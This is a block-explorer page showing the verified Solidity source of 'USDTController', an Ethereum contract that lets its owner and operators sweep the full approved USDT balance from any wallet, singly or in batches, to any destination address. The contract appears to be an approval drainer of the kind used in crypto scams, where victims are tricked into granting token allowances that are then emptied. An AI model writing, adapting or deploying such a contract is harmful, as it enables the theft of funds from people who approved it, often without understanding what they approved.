Skip to content
Verified contractExactMIT

USDTController

Address0x7d408f7d286b61067e669854a79c4d2d2437e65c
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.24

 

Same code

1 more contract

 

Details

Compiler
solc 0.8.24+commit.e11b9ed9
Language
solidity
Optimization
No
EVM version
london
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,431,086
Creation transaction
0x17da7d69f9…5e21a1224d

finalUSDT.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface IERC20 {
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}

contract USDTController {
    IERC20 public constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);

    address public immutable owner;
    mapping(address => bool) public operators;

    event USDTWithdrawn(address indexed from, address indexed to, uint256 amount, address indexed by);
    event OperatorSet(address indexed operator, bool status);

    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner");
        _;
    }

    modifier onlyOperator() {
        require(msg.sender == owner || operators[msg.sender], "Not operator");
        _;
    }

    constructor() {
        owner = msg.sender;
        operators[msg.sender] = true;
    }

    // Exact amount nikaalne ke liye
    function withdraw(address from, address to, uint256 amount) external onlyOperator {
        require(from != address(0) && to != address(0), "Zero address");
        require(amount > 0, "Amount zero");
        require(USDT.allowance(from, address(this)) >= amount, "Not enough allowance");
        require(USDT.balanceOf(from) >= amount, "Not enough balance");

        require(USDT.transferFrom(from, to, amount), "Transfer failed");
        emit USDTWithdrawn(from, to, amount, msg.sender);
    }

    // Poora available USDT nikaalne ke liye
    function withdrawAll(address from, address to) external onlyOperator {
        require(from != address(0) && to != address(0), "Zero address");

        uint256 balance = USDT.balanceOf(from);
        uint256 allowance = USDT.allowance(from, address(this));
        uint256 amount = balance < allowance ? balance : allowance;

        require(amount > 0, "Nothing to withdraw");
        require(USDT.transferFrom(from, to, amount), "Transfer failed");

        emit USDTWithdrawn(from, to, amount, msg.sender);
    }

    // Multiple wallets se ek saath
    function withdrawMultiple(address[] calldata froms, address to) external onlyOperator {
        require(to != address(0), "Zero address");

        for (uint256 i = 0; i < froms.length; i++) {
            address from = froms[i];
            if (from == address(0)) continue;

            uint256 balance = USDT.balanceOf(from);
            uint256 allowance = USDT.allowance(from, address(this));
            uint256 amount = balance < allowance ? balance : allowance;

            if (amount > 0) {
                try USDT.transferFrom(from, to, amount) returns (bool success) {
                    if (success) {
                        emit USDTWithdrawn(from, to, amount, msg.sender);
                    }
                } catch {}
            }
        }
    }

    function setOperator(address operator, bool status) external onlyOwner {
        require(operator != address(0), "Zero address");
        operators[operator] = status;
        emit OperatorSet(operator, status);
    }

    // Check functions
    function checkAllowance(address wallet) external view returns (uint256) {
        return USDT.allowance(wallet, address(this));
    }

    function checkBalance(address wallet) external view returns (uint256) {
        return USDT.balanceOf(wallet);
    }

    function checkWithdrawable(address wallet) external view returns (uint256) {
        uint256 bal = USDT.balanceOf(wallet);
        uint256 allw = USDT.allowance(wallet, address(this));
        return bal < allw ? bal : allw;
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "evmVersion": "london",
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.